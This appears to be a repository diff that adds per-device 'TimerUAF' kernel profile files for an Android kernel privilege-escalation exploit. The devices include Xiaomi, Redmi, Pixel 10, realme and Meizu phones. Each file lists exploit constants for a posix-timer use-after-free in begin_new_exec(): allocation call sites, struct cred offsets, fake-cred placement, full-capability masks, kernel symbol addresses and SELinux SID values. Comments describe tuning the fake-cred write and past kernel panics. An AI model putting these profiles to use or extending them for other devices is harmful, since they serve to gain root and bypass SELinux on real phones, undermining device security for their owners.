 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 17 Pro 5G (iolite)
3
+ # Kernel: 6.6.118-android15-8-gb9cc6ec16bc8-abogki536571621-4k (4K pages)
4
+ #
5
+ # Every constant below is derived from that factory boot.img:
6
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x108, 0,
7
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x108
8
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc080195d90, returns to
9
+ # 0xffffffc080195d94 (x0 = posix_timers_cache)
10
+ # copy_process bl kmem_cache_alloc_node at 0xffffffc0800ab938,
11
+ # returns to 0xffffffc0800ab93c (x0 = task_struct_cachep)
12
+ # -> low21 0xab93c
13
+ # task_struct_vendor_size_setup() adds 0x12c0 (sizeof task_struct), and
14
+ # start_kernel() initialises arch_task_struct_size to 0x12c0. This image's
15
+ # vendor_boot/dtb/dtbo carry no android_arch_task_struct_size= parameter, so
16
+ # the value stays 0x12c0.
17
+ #
18
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
19
+ # posix_cpu_timers_exit() before exit_itimers().
20
+ release = "6.6.118-android15-8-gb9cc6ec16bc8-abogki536571621-4k"
21
+ schema_version = 1
22
+ ksu_kmi = "android15-6.6"
23
+
24
+ page_size = 4096
25
+ page_shift = 12
26
+ slab_order = 1
27
+ slab_size = 8192
28
+ linear_min = 0xffffff0000000000
29
+ linear_max = 0xffffffc000000000
30
+
31
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
32
+ timer_site = 0xffffffc080195d94
33
+ timer_alloc = 0x108
34
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
35
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
36
+ # rb_node sits at +0x78.
37
+ timer_node_off = 0x78
38
+
39
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
40
+ cred_req = 0xb8
41
+ cred_alloc = 0xc0
42
+ cred_size = 0xb8
43
+ cred_uid_off = 0x8
44
+ cred_euid_off = 0x18
45
+ cred_cap_off = 0x30
46
+ cred_cap_count = 5
47
+ cred_security_off = 0x80
48
+ cred_user_off = 0x88
49
+ cred_userns_off = 0x90
50
+ cred_ucounts_off = 0x98
51
+ cred_group_off = 0xa0
52
+ fake_cred_off = 0x18
53
+
54
+ # link-time symbols (kallsyms)
55
+ selinux_state = 0xffffffc08237a378
56
+ panic_on_warn = 0xffffffc08212ae0c
57
+
58
+ # task_struct / cred layout (BTF)
59
+ task_cred_off = 0x820
60
+ copy_process_low21 = 0xab93c
61
+ task_alloc_bytes = 0x12c0
62
+
63
+ # capability and fake-cred refcounted sub-objects
64
+ fullcap = 0x1ffffffffff
65
+ root_user = 0xffffffc08214f220
66
+ init_user_ns = 0xffffffc08214ef90
67
+ init_ucounts = 0xffffffc082150cf0
68
+ init_groups = 0xffffffc082150780
69
+
70
+ # task_security_struct
71
+ # landlock does not contribute a cred blob on this image, so selinux is the
72
+ # first cred-blob contributor and its offset stays 0.
73
+ selinux_blob_off = 0x0
74
+ selinux_sid_kernel = 1
conf/conf/6.6.118-android15-8-gc44b714366cc-abogki519650608-4k.conf ADDED
@@ -0,0 +1,78 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Xiaomi 15 (dada / 24129PN74C)
3
+ # Build : OS3.0.307.0.WOCCNXM
4
+ # Kernel: 6.6.118-android15-8-gc44b714366cc-abogki519650608-4k (4K pages)
5
+ #
6
+ # Every constant below is derived from that factory boot.img:
7
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x108, 0,
8
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x108
9
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc080195d90, returns to
10
+ # 0xffffffc080195d94 (x0 = posix_timers_cache)
11
+ # copy_process bl kmem_cache_alloc_node at 0xffffffc0800ab938,
12
+ # returns to 0xffffffc0800ab93c (x0 = task_struct_cachep)
13
+ # -> low21 0xab93c
14
+ # task_struct_vendor_size_setup() adds 0x12c0 (sizeof task_struct), and
15
+ # start_kernel() initialises arch_task_struct_size to 0x12c0. This image's
16
+ # vendor_boot/dtb/dtbo carry no android_arch_task_struct_size= parameter, so
17
+ # the value stays 0x12c0.
18
+ #
19
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
20
+ # posix_cpu_timers_exit() before exit_itimers().
21
+ release = "6.6.118-android15-8-gc44b714366cc-abogki519650608-4k"
22
+ schema_version = 1
23
+ ksu_kmi = "android15-6.6"
24
+
25
+ page_size = 4096
26
+ page_shift = 12
27
+ slab_order = 1
28
+ slab_size = 8192
29
+ linear_min = 0xffffff0000000000
30
+ linear_max = 0xffffffc000000000
31
+
32
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
33
+ timer_site = 0xffffffc080195d94
34
+ timer_alloc = 0x108
35
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
36
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
37
+ # rb_node sits at +0x78.
38
+ timer_node_off = 0x78
39
+
40
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
41
+ cred_req = 0xb8
42
+ cred_alloc = 0xc0
43
+ cred_size = 0xb8
44
+ cred_uid_off = 0x8
45
+ cred_euid_off = 0x18
46
+ cred_cap_off = 0x30
47
+ cred_cap_count = 5
48
+ cred_security_off = 0x80
49
+ cred_user_off = 0x88
50
+ cred_userns_off = 0x90
51
+ cred_ucounts_off = 0x98
52
+ cred_group_off = 0xa0
53
+ fake_cred_off = 0x18
54
+
55
+ # link-time symbols (kallsyms)
56
+ selinux_state = 0xffffffc08237a378
57
+ panic_on_warn = 0xffffffc08212ae0c
58
+
59
+ # task_struct / cred layout (BTF)
60
+ task_cred_off = 0x820
61
+ copy_process_low21 = 0xab93c
62
+ task_alloc_bytes = 0x12c0
63
+
64
+ # capability and fake-cred refcounted sub-objects
65
+ fullcap = 0x1ffffffffff
66
+ root_user = 0xffffffc08214f220
67
+ init_user_ns = 0xffffffc08214ef90
68
+ init_ucounts = 0xffffffc082150cf0
69
+ init_groups = 0xffffffc082150780
70
+
71
+ # task_security_struct
72
+ # Runtime CONFIG_LSM order is
73
+ # landlock,lockdown,yama,loadpin,safesetid,selinux,smack,tomoyo,apparmor,bpf
74
+ # but this kernel does not register landlock's cred blob (no
75
+ # landlock_blob_sizes symbol and lbs_cred is not contributed), so selinux is
76
+ # the first cred-blob contributor and its offset stays 0.
77
+ selinux_blob_off = 0x0
78
+ selinux_sid_kernel = 1
conf/conf/6.6.118-android15-8-ge56cf6b09cca-ab15511674-4k.conf ADDED
@@ -0,0 +1,75 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Redmi Note 15 5G (kunzite)
3
+ # Build : OS3.0.304.0.WPQCNXM
4
+ # Kernel: 6.6.118-android15-8-ge56cf6b09cca-ab15511674-4k (4K pages)
5
+ #
6
+ # Every constant below is derived from that factory boot.img:
7
+ # init_posix_timers kmem_cache_create("posix_timers_cache", 0x108, 0,
8
+ # SLAB_PANIC|SLAB_ACCOUNT) -> timer_alloc 0x108
9
+ # do_timer_create bl kmem_cache_alloc at 0xffffffc080195d44, returns to
10
+ # 0xffffffc080195d48 (x0 = posix_timers_cache)
11
+ # copy_process bl kmem_cache_alloc_node at 0xffffffc0800ab938,
12
+ # returns to 0xffffffc0800ab93c (x0 = task_struct_cachep)
13
+ # -> low21 0xab93c
14
+ # task_struct_vendor_size_setup() adds 0x12c0 (sizeof task_struct), and
15
+ # start_kernel() initialises arch_task_struct_size to 0x12c0. This image's
16
+ # vendor_boot/dtb/dtbo carry no android_arch_task_struct_size= parameter, so
17
+ # the value stays 0x12c0.
18
+ #
19
+ # Vulnerability: fs/exec.c begin_new_exec() still calls
20
+ # posix_cpu_timers_exit() before exit_itimers().
21
+ release = "6.6.118-android15-8-ge56cf6b09cca-ab15511674-4k"
22
+ schema_version = 1
23
+ ksu_kmi = "android15-6.6"
24
+
25
+ page_size = 4096
26
+ page_shift = 12
27
+ slab_order = 1
28
+ slab_size = 8192
29
+ linear_min = 0xffffff0000000000
30
+ linear_max = 0xffffffc000000000
31
+
32
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache)
33
+ timer_site = 0xffffffc080195d48
34
+ timer_alloc = 0x108
35
+ # The `it` union (k_itimer.it) is at +0x78; its `cpu` member is a
36
+ # struct cpu_timer, whose first field `node` is at +0, so the timerqueue
37
+ # rb_node sits at +0x78.
38
+ timer_node_off = 0x78
39
+
40
+ # cred_jar: sizeof(struct cred)=0xb8 (BTF), SLAB_HWCACHE_ALIGN -> 0xc0
41
+ cred_req = 0xb8
42
+ cred_alloc = 0xc0
43
+ cred_size = 0xb8
44
+ cred_uid_off = 0x8
45
+ cred_euid_off = 0x18
46
+ cred_cap_off = 0x30
47
+ cred_cap_count = 5
48
+ cred_security_off = 0x80
49
+ cred_user_off = 0x88
50
+ cred_userns_off = 0x90
51
+ cred_ucounts_off = 0x98
52
+ cred_group_off = 0xa0
53
+ fake_cred_off = 0x18
54
+
55
+ # link-time symbols (kallsyms)
56
+ selinux_state = 0xffffffc08236a2e0
57
+ panic_on_warn = 0xffffffc08211ae0c
58
+
59
+ # task_struct / cred layout (BTF)
60
+ task_cred_off = 0x820
61
+ copy_process_low21 = 0xab93c
62
+ task_alloc_bytes = 0x12c0
63
+
64
+ # capability and fake-cred refcounted sub-objects
65
+ fullcap = 0x1ffffffffff
66
+ root_user = 0xffffffc08213f1e0
67
+ init_user_ns = 0xffffffc08213ef50
68
+ init_ucounts = 0xffffffc082140cb0
69
+ init_groups = 0xffffffc082140740
70
+
71
+ # task_security_struct
72
+ # landlock does not contribute a cred blob on this image, so selinux is the
73
+ # first cred-blob contributor and its offset stays 0.
74
+ selinux_blob_off = 0x0
75
+ selinux_sid_kernel = 1
conf/conf/6.6.127-android15-8-g91d825611104-ab16252310-4k.conf ADDED
@@ -0,0 +1,60 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: Google Pixel 10 / 10 Pro / 10 Pro XL / 10 Pro Fold
3
+ # Build : CP3A.261005.005
4
+ # Kernel: 6.6.127-android15-8-g91d825611104-ab16252310-4k (4K pages)
5
+ #
6
+ # All four factory images carry a byte-identical kernel payload, so one
7
+ # profile covers them. Constants are from the factory boot.img:
8
+ # do_timer_create+0xa8 = 0xffffffc080195bac
9
+ # copy_process task_struct return = 0xffffffc0800ab8bc
10
+ release = "6.6.127-android15-8-g91d825611104-ab16252310-4k"
11
+ schema_version = 1
12
+ ksu_kmi = "android15-6.6"
13
+
14
+ page_size = 4096
15
+ page_shift = 12
16
+ slab_order = 1
17
+ slab_size = 8192
18
+ linear_min = 0xffffff0000000000
19
+ linear_max = 0xffffffc000000000
20
+
21
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site.
22
+ timer_site = 0xffffffc080195bac
23
+ timer_alloc = 0x108
24
+
25
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0.
26
+ cred_req = 0xb8
27
+ cred_alloc = 0xc0
28
+ cred_size = 0xb8
29
+ cred_uid_off = 0x8
30
+ cred_euid_off = 0x18
31
+ cred_cap_off = 0x30
32
+ cred_cap_count = 5
33
+ cred_security_off = 0x80
34
+ cred_user_off = 0x88
35
+ cred_userns_off = 0x90
36
+ cred_ucounts_off = 0x98
37
+ cred_group_off = 0xa0
38
+ # Distance from the stale k_itimer rb_node to the fake cred base.
39
+ fake_cred_off = 0x18
40
+
41
+ # link-time symbols (kallsyms)
42
+ selinux_state = 0xffffffc08237a0e8
43
+ panic_on_warn = 0xffffffc08212ac0c
44
+
45
+ # task_struct / cred layout (BTF)
46
+ task_cred_off = 0x820
47
+ copy_process_low21 = 0xab8bc
48
+ task_alloc_bytes = 0x12c0
49
+
50
+ # capability and fake-cred refcounted sub-objects
51
+ fullcap = 0x1ffffffffff
52
+ root_user = 0xffffffc08214efe0
53
+ init_user_ns = 0xffffffc08214ed50
54
+ init_ucounts = 0xffffffc082150ab0
55
+ init_groups = 0xffffffc082150540
56
+
57
+ # task_security_struct
58
+ # The exploit fills 32 bytes from this offset, so 0 sets every SID field.
59
+ selinux_blob_off = 0x0
60
+ selinux_sid_kernel = 1
conf/conf/6.6.66-android15-8-g29d86c5fc9dd-abogki428889875-4k.conf ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid)
2
+ # Device: realme RMX6699 (CN), 16.0.0.263
3
+ # ro.build.version.ota = RMX6699_11.A.62_0620_202512031838
4
+ # ro.build.fingerprint = realme/RMX6699/RE6400L1:16/AP3A.240617.008/B.25e7bd0-49937a-4bfbd5:user/release-keys
5
+ # kernel: 6.6.66-android15-8-g29d86c5fc9dd-abogki428889875-4k (built 2025-07-01)
6
+ # Source image: boot_a dumped from the running device, kernel at page 1, raw PE/Image.
7
+ release = "6.6.66-android15-8-g29d86c5fc9dd-abogki428889875-4k"
8
+ schema_version = 1
9
+ ksu_kmi = "android15-6.6"
10
+
11
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site
12
+ # bl @ 0xffffffc0801a0808, trace call_site = bl + 4
13
+ timer_site = 0xffffffc0801a080c
14
+ timer_alloc = 0x108
15
+
16
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0 (SLAB_HWCACHE_ALIGN)
17
+ cred_req = 0xb8
18
+ cred_alloc = 0xc0
19
+ cred_uid_off = 0x8
20
+
21
+ # link-time symbols (kallsyms recovered from Image)
22
+ selinux_state = 0xffffffc0823060c8
23
+ panic_on_warn = 0xffffffc0820bb2c8
24
+
25
+ # task_struct / cred layout (BTF from the same Image)
26
+ task_cred_off = 0x820
27
+ copy_process_low21 = 0xa9b9c
28
+ task_alloc_bytes = 0x12c0
29
+
30
+ # capability and fake-cred refcounted sub-objects
31
+ fullcap = 0x1ffffffffff
32
+ root_user = 0xffffffc0820df4e0
33
+ init_user_ns = 0xffffffc0820df250
34
+ init_ucounts = 0xffffffc0820e0fb0
35
+ init_groups = 0xffffffc0820e0a40
36
+
37
+ # task_security_struct
38
+ selinux_blob_off = 0x8
39
+ selinux_sid_kernel = 1
conf/conf/dirty/6.1.25-android14-11-maybe-dirty.conf ADDED
@@ -0,0 +1,98 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid) -- DIRTY KERNEL
2
+ # Device: Meizu 21 Pro, Flyme 12.6.0.0A (Android 16, SDK 36)
3
+ # ro.product.system.model=MEIZU 21 Pro
4
+ # ro.build.version.release=16 / ro.build.version.sdk=36
5
+ # fingerprint=meizu/meizu_21Pro_CN/meizu21Pro:16/BQ2A.251016.001-BP2A.250605.031.A3/1763701752:user/release-keys
6
+ #
7
+ # This kernel's release string ("-maybe-dirty") is not unique to one vendor
8
+ # build, so it lives under dirty/ and UserService additionally verifies the
9
+ # identity fields below against the device before using this conf.
10
+ # Identity uses only AOSP-standard properties (no vendor build strings).
11
+ #
12
+ # Derived from the OTA Image (Android/Meizu/21Pro/update.zip on the SMB share):
13
+ # _text = 0xffffffc008000000, slide = 0x17ae600000 (2MB aligned).
14
+ # The previous profile carried a 17-digit timer_site and 6.6 task_struct
15
+ # constants; every value below is re-derived for 6.1.25.
16
+ device_model = "MEIZU 21 Pro"
17
+ android_release = "16"
18
+ sdk_int = 36
19
+
20
+ release = "6.1.25-android14-11-maybe-dirty"
21
+ schema_version = 1
22
+ ksu_kmi = "android14-6.1"
23
+
24
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site
25
+ # posix_timers_cache = kmem_cache_create(..., size=0x108, align=0, flags=0x4040000, ctor=NULL)
26
+ # (SLAB_ACCOUNT only, no SLAB_HWCACHE_ALIGN -> object size stays 0x108)
27
+ #
28
+ # timer_site is the link-time address of the call site; the exploit compares
29
+ # only its low 21 bits (KASLR slides the image by whole 2MB blocks) and derives
30
+ # the runtime slide from the full value. Verified on device (tools/site_probe,
31
+ # MEIZU 21 Pro, 6.1.25-android14-11-maybe-dirty): the trace event reports
32
+ # call_site = bl+4, observed 0xffffffd7b6790578, i.e. low21 = 0x190578.
33
+ #
34
+ # Derived from the OTA Image (conf/dirty/../.. SMB share, update.zip -> boot):
35
+ # _text = 0xffffffc008000000, slide = 0x17ae600000 (2MB aligned)
36
+ # do_timer_create's kmem_cache_alloc bl is at Image offset 0x190574, so
37
+ # timer_site = _text + 0x190578.
38
+ timer_site = 0xffffffc008190578
39
+ timer_alloc = 0x108
40
+
41
+ # cred_jar: sizeof(struct cred)=0xb0, slab object=0xc0
42
+ # cred_init: kmem_cache_create("cred_jar", 0xb0, 0, 0x40402000, NULL)
43
+ # flags 0x40402000 = SLAB_ACCOUNT|SLAB_DEBUG_OBJECTS|SLAB_HWCACHE_ALIGN(0x2000)
44
+ # -> SLUB calculate_sizes rounds size up to cache line(64B): ALIGN(0xb0,64)=0xc0
45
+ #
46
+ # struct cred layout for 6.1.25, verified against the kernel Image extracted
47
+ # from Android/Meizu/21Pro/update.zip and against the device:
48
+ # - init_cred in .data shows user@0x80, user_ns@0x88, ucounts@0x90,
49
+ # group_info@0x98 and the caps at 0x28/0x30/0x38/0x40/0x48 (inh=0,
50
+ # prm/eff/bset=full, amb=0 -- exactly the init_cred initialiser)
51
+ # - prepare_creds() disassembly: memcpy(new, old, 0xb0), usage@0,
52
+ # get_uid([+0x80]), get_group_info([+0x98]), and current->cred loaded
53
+ # from [SP_EL0 + 0x838], which also confirms task_cred_off
54
+ # - security_prepare_creds() disassembly: kmem_cache_zalloc(task_sec_cache)
55
+ # followed by "str x0, [x21, #0x78]", i.e. cred->security @ 0x78
56
+ # The 4-byte atomic_t usage (uid@0x4) shifts the whole struct down by 8
57
+ # relative to the 6.6/6.12 layout, so every offset below differs from the
58
+ # other profiles. euid@0x14 needs its own zero plant because rb_erase leaves
59
+ # the rb_left target in c[2], which lands on euid in this layout.
60
+ cred_req = 0xb0
61
+ cred_alloc = 0xc0
62
+ cred_uid_off = 0x4
63
+ cred_euid_off = 0x14
64
+ cred_cap_off = 0x28
65
+ cred_cap_count = 5
66
+ cred_security_off = 0x78
67
+ cred_user_off = 0x80
68
+ cred_userns_off = 0x88
69
+ cred_ucounts_off = 0x90
70
+ cred_group_off = 0x98
71
+
72
+ # link-time symbols (kallsyms)
73
+ selinux_state = 0xffffffc00a0b19c8
74
+ panic_on_warn = 0xffffffc009e7ae10
75
+
76
+ # task_struct / cred layout (BTF from /sys/kernel/btf/vmlinux on the device)
77
+ # 6.1.25: sizeof(task_struct) = 0x12c0 and task_struct_cachep's slab object
78
+ # is 0x12c0. site_probe on the device shows dup_task_struct's
79
+ # kmem_cache_alloc_node call site at low21 0xaed3c with req=alloc=0x12c0.
80
+ # The previous 0xad2b8 / 0x400 pair matched a different 0x3c8-byte allocation
81
+ # instead, so g_child_task pointed at that object and the fake-cred write
82
+ # landed 0x838 bytes past it, corrupting kernel memory and panicking kswapd
83
+ # in page_vma_mapped_walk().
84
+ # cred at 0x838 (BTF: task_struct.cred; real_cred is 0x830).
85
+ task_cred_off = 0x838
86
+ copy_process_low21 = 0xaed3c
87
+ task_alloc_bytes = 0x12c0
88
+
89
+ # capability and fake-cred refcounted sub-objects
90
+ fullcap = 0x1ffffffffff
91
+ root_user = 0xffffffc009ea1608
92
+ init_user_ns = 0xffffffc009ea1378
93
+ init_ucounts = 0xffffffc009ea2e90
94
+ init_groups = 0xffffffc009ea2928
95
+
96
+ # task_security_struct
97
+ selinux_blob_off = 0x8
98
+ selinux_sid_kernel = 1
conf/conf/dirty/6.6.66-android15-8-maybe-dirty-4k.conf ADDED
@@ -0,0 +1,64 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # TimerUAF kernel profile (HOCON; JSON remains valid) -- DIRTY KERNEL
2
+ # Device: Meizu 22, Flyme 12.6.0.0A (Android 16, SDK 36)
3
+ # ro.product.system.model=MEIZU 22
4
+ # ro.build.version.release=16 / ro.build.version.sdk=36
5
+ # fingerprint=meizu/Meizu_22_CN/Meizu22:16/BQ2A.251016.001-BP2A.250605.031.A3/1763452226:user/release-keys
6
+ #
7
+ # This kernel's release string ("-maybe-dirty") is not unique to one vendor
8
+ # build, so it lives under dirty/ and UserService additionally verifies the
9
+ # identity fields below against the device before using this conf.
10
+ # Identity uses only AOSP-standard properties (no vendor build strings).
11
+ device_model = "MEIZU 22"
12
+ android_release = "16"
13
+ sdk_int = 36
14
+
15
+ release = "6.6.66-android15-8-maybe-dirty-4k"
16
+ schema_version = 1
17
+ ksu_kmi = "android15-6.6"
18
+
19
+ # do_timer_create -> kmem_cache_alloc(posix_timers_cache) call site
20
+ # posix_timers_cache = kmem_cache_create(..., size=0x108, align=0, flags=0x4040000, ctor=NULL)
21
+ # (SLAB_ACCOUNT only, no SLAB_HWCACHE_ALIGN -> object size stays 0x108)
22
+ #
23
+ # timer_site is the link-time address of the call site; the exploit compares
24
+ # only its low 21 bits (KASLR slides the image by whole 2MB blocks) and derives
25
+ # the runtime slide from the full value. Verified on device: the trace event
26
+ # reports call_site = bl+4, observed 0xffffffe49ef92bac at runtime, i.e.
27
+ # slide = 0x41d600000 (2MB aligned), which yields link-time 0xffffffc080192bac.
28
+ timer_site = 0xffffffc080192bac
29
+ timer_alloc = 0x108
30
+
31
+ # cred_jar: sizeof(struct cred)=0xb8, slab object=0xc0
32
+ # cred_init: kmem_cache_create("cred_jar", 0xb8, 0, 0x40402000, NULL)
33
+ # flags 0x40402000 = SLAB_ACCOUNT|SLAB_DEBUG_OBJECTS|SLAB_HWCACHE_ALIGN(0x2000)
34
+ # -> SLUB calculate_sizes rounds size up to cache line(64B): ALIGN(0xb8,64)=0xc0
35
+ # sizeof(cred)=0xb8 is the 6.6 layout (atomic_long_t usage -> uid at 0x8), the
36
+ # same as the verified PKT110 6.6.118 profile; do not use the 6.1 layout (0xb0,
37
+ # atomic_t usage, uid at 0x4) here.
38
+ cred_req = 0xb8
39
+ cred_alloc = 0xc0
40
+ cred_uid_off = 0x8
41
+
42
+ # link-time symbols (kallsyms)
43
+ selinux_state = 0xffffffc082305150
44
+ panic_on_warn = 0xffffffc0820bae08
45
+
46
+ # task_struct / cred layout (BTF)
47
+ # 6.6 layout: sizeof(task_struct)=0x12c0 (verified: the task_struct alloc site
48
+ # matches with task_recs=1) and cred at 0x820, the same offsets as the verified
49
+ # PKT110 6.6.118 profile. The 0x838 / uid-at-0x4 values belong to the 6.1
50
+ # layout (sizeof(cred)=0xb0, atomic_t usage) and must not be used here.
51
+ task_cred_off = 0x820
52
+ copy_process_low21 = 0xa9bb4
53
+ task_alloc_bytes = 0x12c0
54
+
55
+ # capability and fake-cred refcounted sub-objects
56
+ fullcap = 0x1ffffffffff
57
+ root_user = 0xffffffc0820defe0
58
+ init_user_ns = 0xffffffc0820ded50
59
+ init_ucounts = 0xffffffc0820e0ab0
60
+ init_groups = 0xffffffc0820e0540
61
+
62
+ # task_security_struct
63
+ selinux_blob_off = 0x8
64
+ selinux_sid_kernel = 1